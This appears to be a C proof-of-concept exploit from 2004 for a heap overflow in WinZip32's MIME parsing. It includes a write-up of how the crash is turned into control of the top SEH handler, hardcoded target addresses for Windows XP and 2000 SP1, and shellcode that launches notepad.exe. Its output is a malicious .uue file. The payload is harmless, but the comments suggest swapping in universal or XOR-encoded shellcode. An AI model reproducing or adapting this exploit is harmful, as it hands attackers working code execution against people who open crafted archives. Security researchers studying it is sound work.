/*
* Author: snooq [http://www.angelfire.com/linux/snooq/]
* Date: 14 April 2004
*
* This is a PoC exploit for WinZip32 MIME Parsing Overflow
* bug reported by iDefense on 27 February 2004.
*
* The original advisory is found here:
* http://www.idefense.com/application/poi/display?id=76
*
* This version is SP dependent becoz my idiotic shellcode
* uses hardcoded addresses.... =p
*
* So, test it locally only. Afterall, it's just a PoC rite?
* Nonetheless, it's possible to make it more portable by
* using a universal shellcode...
*
* but beware... chars like <>,.:;'"=[]\/ are filtered...
* so feel free to XOR it.. =p
*
* Notes
* =====
* 1) Tested against WinZip 8.1 on WinXP SP1, Win2K SP1 only
*
* 2) You need to first launch WinZip before you 'Open'
*
* 3) Double clicking the 'uue' won't work
* why so? go figure it out urself... =p
* once u know why... u'd then know how to fix it...
*
* Greetz
* ======
* # eugene, nam, jf, valmont and the rest..
* # sk, shashank + Security_Auditors folks...
* # iDefense folks... SiG^2 guys etc...
* # lastly.. Greg Hoglund for his 'Cross Page' stuffs... =p
*/

/*
* A snapshot of the 'crash'
* =========================
*
* Our buffer on the heap looks like this:
*
* [....AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEEEEEEEEEEEEEEE....]
* |--- heap grows this way --------->
*
*
* and the CPU is about to execute the following code:
*
* 0049BFFC |> 8B4C13 08 MOV ECX,DWORD PTR DS:[EBX+EDX+8]
* 0049C000 |. 8B7C13 04 MOV EDI,DWORD PTR DS:[EBX+EDX+4]
* 0049C004 |. 8979 04 MOV DWORD PTR DS:[ECX+4],EDI
* 0049C007 |. 8B4C13 04 MOV ECX,DWORD PTR DS:[EBX+EDX+4]
* 0049C00B |. 8B7C13 08 MOV EDI,DWORD PTR DS:[EBX+EDX+8]
* 0049C00F |. 035D F8 ADD EBX,DWORD PTR SS:[EBP-8]
* 0049C012 |. 8979 08 MOV DWORD PTR DS:[ECX+8],EDI
* 0049C015 |. 895D F4 MOV DWORD PTR SS:[EBP-C],EBX
*
* and, EBX register seems to be under our control... =p
*
* EDX = ptr to 'DDDD'
* EBX = 'DDDD' - 1
*
* By carefully choosing a value for EBX, we are able to manipulate
* ECX at 0049BFFC and EDI at 0049C000.
*
* If we set 'DDDD'=0xfffffff5 (-11),
*
* -> EBX would be '0xfffffff4' (-12)
* -> [EBX+EDX+8] becomes [EDX-4] and ECX = 'CCCC'
* -> [EBX+EDX+4] becomes [EDX-8] and EDI = 'BBBB'
*
* Effectively at 0049C004, we can write a DWORD 'BBBB' to ['CCCC'+4]
* After that.....
*
* -> [EBX+EDX+4] becomes [EDX-8] and ECX = 'BBBB'
* -> [EBX+EDX+8] becomes [EDX-4] and EDI = 'CCCC'
*
* Finally we reach MOV DWORD PTR DS:['BBBB'+8],'CCCC' at 0049C012..
*
* Choosing the rite values for 'BBBB' + 'CCCC', execution flow could
* be reliably diverted into our shellcode.
*
* In this exploit, I've chosen to install our code as the main thread's
* top exception handler so that when exception is triggered at 0049C012,
* our code will be called to 'handle' it... =p
*
* This is how I did it but I'm not sure if this is the best way.
* If you know of any other better way to exploit this.....
* pleaseeeeee tell me....... :)
*
*/

#include <windows.h>
#include <stdlib.h>
#include <stdio.h>

#define TARGET 1
#define NOP 0x90

/*
* Gap for NOPs (not really needed)
*/
#define PAD 0

/*
* This 'RANGE' nonsense was useful
* in locating the 'index', i.e. 'DDDD'
*/
#define RANGE 1*4

/*
* Where we control the 'index',
* i.e EBX register's value
*/
#define IDXOFF 268-RANGE+4

/*
* We find our 'where' + 'what' here...
*/
#define OFFSET IDXOFF-8

/*
* -12 bytes from 'index' into where
* 'where'+'what' are...
*/
#define INDEX 0xfffffff5

#define BSIZE 1024
#define FNAME "snooq.uue"
#define SSIZE sizeof(shellcode)-1
#define HSIZE sizeof(header)-1

char buff[BSIZE];
long where, what;

struct {
char *os;
long topSEH;
long jmpADD;
}

targets[] = {
{
"Window XP (en) SP1",
0x7ffddffe, // Per Thread Top SEH - 2
0xf27cffff // [this address + 4] -> shellcode
},
{
"Window 2000 (en) SP1",
0x7ffddffe, // Per Thread Top SEH - 2
0xf354ffff // [this address + 4] -> shellcode
},
}, v;

/*
* Harmless payload that spawns 'notepad.exe'... =p
*/

char shellcode[]=
"\x55" // push ebp
"\x8b\xec" // mov ebp, esp
"\x33\xf6" // xor esi, esi
"\x56" // push esi
"\x68\x2e\x65\x78\x65" // push 'exe.'
"\x68\x65\x70\x61\x64" // push 'dape'
"\x68\x90\x6e\x6f\x74" // push 'ton'
"\x46" // inc esi
"\x56" // push esi
"\x8d\x7d\xf1" // lea edi, [ebp-0xf]
"\x57" // push edi
"\xb8XXXX" // mov eax, XXXX -> WinExec()
"\xff\xd0" // call eax
"\x4e" // dec esi
"\x56" // push esi
"\xb8YYYY" // mov eax, YYYY -> ExitProcess()
"\xff\xd0"; // call eax

char header[]="Content-Type: multipart/mixed; boundary=";

void err_exit(char *s)
{
printf("%s\n",s);
exit(0);
}

void filladdr()
{
char *ptr;
int i=0, index=INDEX, idxoff=IDXOFF;

long addr1=(long)WinExec;
long addr2=(long)ExitProcess;

printf("-> WinExec() is at: 0x%08x\n",addr1);
printf("-> ExitProcess() is at: 0x%08x\n",addr2);

ptr=shellcode;

while (*ptr!='\0') {
if (*((long *)ptr)==0x58585858) {
printf("-> Filling in WinExec at offset: %d\n",(ptr-shellcode));
*((long *)ptr)=addr1;
}
if (*((long *)ptr)==0x59595959) {
printf("-> Filling in ExitProcess at offset: %d\n",(ptr-shellcode));
*((long *)ptr)=addr2;
}
ptr++;
}

ptr=buff+HSIZE+OFFSET;
printf("-> 'what' == 0x%08x at offset %d\n",what,OFFSET);
*((long *)ptr)=what;

ptr+=4;
printf("-> 'where' == 0x%08x at offset %d\n",where,OFFSET+4);
*((long *)ptr)=where-4;

ptr=buff+HSIZE+idxoff;

for (;i<RANGE;i+=4) {
printf("-> 'index' == 0x%08x at offset %d\n",index-i,idxoff+i);
*((long *)(ptr+i))=index-i;
}

}

void buildfile()
{
int i=0;

FILE *fd;

if ((fd=fopen(FNAME,"w"))==NULL) {
err_exit("-> Failed to generate file...");
}

for(;i<sizeof(buff);) {
fprintf(fd,"%c",buff[i++]);
}

fclose(fd);

printf("-> '%s' generated....\n",FNAME);

}

int main(int argc, char *argv[])
{
int i=0, t=TARGET;

if (argc==2) { t=atoi(argv[1]); }

where=targets[t-1].topSEH;
what=targets[t-1].jmpADD;

printf("\nWinZip32 MIME Parsing Overflow PoC, By Snooq [jinyean@hotmail.com]\n\n");

memset(buff,NOP,BSIZE);
printf("-> Generating 'uue' file for target #%d...\n",t);
memcpy(buff,header,HSIZE);
filladdr();
memcpy(buff+HSIZE+IDXOFF+4+PAD,shellcode,SSIZE);
buildfile();

return 0;